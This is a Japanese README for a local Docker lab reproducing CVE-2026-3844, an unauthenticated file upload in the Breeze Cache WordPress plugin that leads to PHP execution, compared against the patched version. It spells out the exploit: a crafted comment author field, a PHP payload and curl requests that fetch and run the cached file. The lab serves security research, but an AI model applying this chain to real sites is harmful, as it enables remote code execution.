
WordPressのBreeze CacheプラグインにおけるCVE-2026-3844の動作を再現・比較するためのローカル限定Dockerラボです。
このリポジトリは、Breeze Cache 2.4.4 の脆弱な動作を示し、Breeze Cache 2.4.5 のパッチ適用後の動作と比較します。ラボは2つの隔離されたWordPressサービス(脆弱なものとパッチ適用済みのもの)と、Dockerネットワーク内のローカルペイロードサーバーを使用します。
概念実証は意図的に最小限の害に抑えています。Webシェルは使用せず、コマンドパラメータも公開せず、リバースシェルも起動せず、コンテナ内からのファイル読み取りも必要としません。証明はホストからの観測可能なHTTP動作に基づきます。
CVE-2026-3844 は、WordPress用Breeze Cacheプラグインのバージョン 2.4.4 までに影響します。脆弱なコードパスは、プラグインのローカルGravatarキャッシュ機能、特に fetch_gravatar_from_remote() フローに関連しています。
Breezeのオプション Host Files Locally - Gravatars が有効な場合、脆弱なバージョンは攻撃者が制御するリモートファイルを取得し、一般のWebからアクセス可能なキャッシュディレクトリに保存する可能性があります。取得したファイルがPHPの場合、HTTP経由でリクエストされるとWebサーバーによって実行される可能性があります。
このラボでは、その動作をローカルで再現します。
vuln サービス:WordPress + Breeze Cache 2.4.4patched サービス:WordPress + Breeze Cache 2.4.5payload サービス:ローカルDocker限定のペイロードサーバーsrcset 文字列を使用した認証なしコメントベースのトリガー期待される結果:
http://127.0.0.1:8081 / Breeze 2.4.4 → PHPがキャッシュされ実行されることを証明http://127.0.0.1:8082 / Breeze 2.4.5 → PHPがキャッシュ/読み取り/実行されないことを証明.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
ホストマシン
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> ローカルペイロードサーバー
Dockerネットワーク
│
├── vuln -> WordPress脆弱なターゲット
├── patched -> WordPressパッチ適用済みターゲット
├── vuln_db -> 脆弱なWordPress用MariaDB
├── patched_db -> パッチ適用済みWordPress用MariaDB
└── payload -> Python静的HTTPサーバー
WordPressコンテナは、DockerネットワークURLを介してペイロードを取得します:
http://payload:9100/<payload-file>.php
ホストは、WordPressサービスへの通常のHTTPリクエストを通じて結果を確認します。
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locally が有効であること脆弱な動作は、ローカルGravatarキャッシュが有効な場合にのみ到達可能です。このオプションは通常のインストールではデフォルトで無効ですが、このラボでは脆弱なコードパスを再現するために意図的に有効にしています。
Breeze Cache 2.4.4 では、Gravatarローカライゼーションフローがアバター関連のHTMLからリモートURLを抽出し、そのURLを fetch_gravatar_from_remote() に渡す可能性があります。
脆弱なバージョンには、リモートファイルに関する十分な検証がありません。
.php などの危険な拡張子を保持する可能性がある結果のファイルは以下に保存されます:
/wp-content/cache/breeze-extra/gravatars/
PHPファイルがそこに保存され、Apache/PHP経由でリクエストされると、サーバーがそれを実行します。
Breeze Cache 2.4.5 では、パッチ適用後のフローに検証が追加され、このラボのペイロードが実行可能なPHPとしてキャッシュされるのを防ぎます。ローカル再現では、同じトリガーが 2.4.4 に対しては機能しますが、2.4.5 に対しては証明マーカーが公開されません。
このラボは、公開ペイロードホストを使用する代わりに、ペイロードサーバーを意図的にローカルに保っています。
WordPressの download_url() とWordPress HTTP APIは、デフォルトで一部のプライベートDockerホスト名や非標準ポートを拒否します。公開されたエクスプロイトスクリプトは、その制限を回避するために公開HTTPSペイロードURLを使用することがよくあります。このラボではそうしません。
再現を完全にローカルに保つために、シードスクリプトはローカル限定の小さなMUプラグインヘルパーをインストールします。これにより:
payload と payload.local のみを許可80 と 9100 のみを許可このヘルパーはBreezeのソースコードを変更しません。脆弱なサービスとパッチ適用済みサービスの両方が、WP-CLIを通じてインストールされた実際のBreezeプラグインバージョンを使用します。
ヘルパーは、Dockerラボを決定論的かつローカル限定にするためにのみ存在します。
このリポジトリは、ローカルセキュリティ研究およびポートフォリオデモンストレーション専用です。
ガードレール:
localhost とDockerネットワークサービスでのみ実行cmd= ウェブシェル動作なしPoCペイロードは無害なPHPランタイム情報を出力します:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<プロセスID>
host=<コンテナホスト名>
これにより、シェルコマンドを起動せずにコード実行コンテキストを証明します。
requestsPython依存関係のインストール:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
requirements.txt には以下を含める必要があります:
requests
ラボをビルドして起動:
docker compose down -v --remove-orphans
docker compose up -d --build
サービスの状態を確認:
docker compose ps
期待されるサービス:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
シードログを確認:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
期待されるログ行:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
WordPressのインストールを確認:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
Breezeのバージョンを確認:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
期待される出力:
2.4.4
2.4.5
脆弱な前提条件を確認:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
期待される出力:
1
1
WordPressがローカルペイロードサービスを取得できることを確認:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
proof-cve3844.php がまだ存在しない場合は、payload/ に一時ファイルを作成するか、PoCを1回実行してください。
脆弱なサービスに対して実行:
python3 poc/poc.py --base-url http://127.0.0.1:8081
期待される脆弱な結果:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
証明出力例:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<コンテナホスト名>
パッチ適用済みサービスに対して実行:
python3 poc/poc.py --base-url http://127.0.0.1:8082
期待されるパッチ適用済みの結果:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
301 Moved Permanently のようなリダイレクトは証明とはみなされません。PoCは一意のマーカーがHTTP応答本文に現れることを要求します。
PoCは以下のローカルのみのフローを実行します:
payload/ の下に一意のPHP証明ファイルを生成します。x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload が使用されない限り、生成されたローカルペイロードファイルを削除します。PoCはターゲットコンテナ内のファイルを読み取りません。証拠はホストからHTTP経由で収集されます。
手動ペイロードを作成:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
ペイロードサーバーがPHPソースを静的テキストとして提供することを確認:
curl -i http://127.0.0.1:9100/manual-proof.php
脆弱なWordPressサービスにコメントを投稿:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
設定されたWordPressサイトURLホストを通じて投稿をレンダリングし、Breeze処理をトリガー:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
期待されるHTML証拠:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
キャッシュされたPHPファイルをリクエスト:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
期待される脆弱な証明:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<コンテナホスト名>
ペイロードログを確認:
docker compose logs --tail=50 payload
期待される出力:
GET /manual-proof.php HTTP/1.1" 200
| ターゲット | Breezeバージョン | 期待される結果 |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | PHP証明が取得、キャッシュ、実行可能 |
http://127.0.0.1:8082 | 2.4.5 | PHP証明マーカーが公開されない |
コンテナ、ネットワーク、ボリュームを停止して削除:
docker compose down -v --remove-orphans
必要に応じて生成されたペイロードファイルを削除:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
Patchstackデータベース — WordPress Breeze Cacheプラグイン <= 2.4.4 認証なし任意ファイルアップロード(fetch_gravatar_from_remote 経由):
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence脅威インテリジェンス — Breeze Cache <= 2.4.4 認証なし任意ファイルアップロード:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Wordfenceブログ — Breeze Cache脆弱性の活発な悪用に関する報道:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Breeze Cacheプラグインページ:
https://wordpress.org/plugins/breeze/
このラボで使用されるWordPressプラグインのダウンロード:
WordPress Plugin Trac — Breezeソースリファレンス、class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
このプロジェクトは、許可されたローカルセキュリティ研究専用です。所有していない、またはテストする明示的な許可がないシステムに対してPoCを実行しないでください。
WordPress Plugin Trac — Breezeパッチ適用後ソースリファレンス、class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php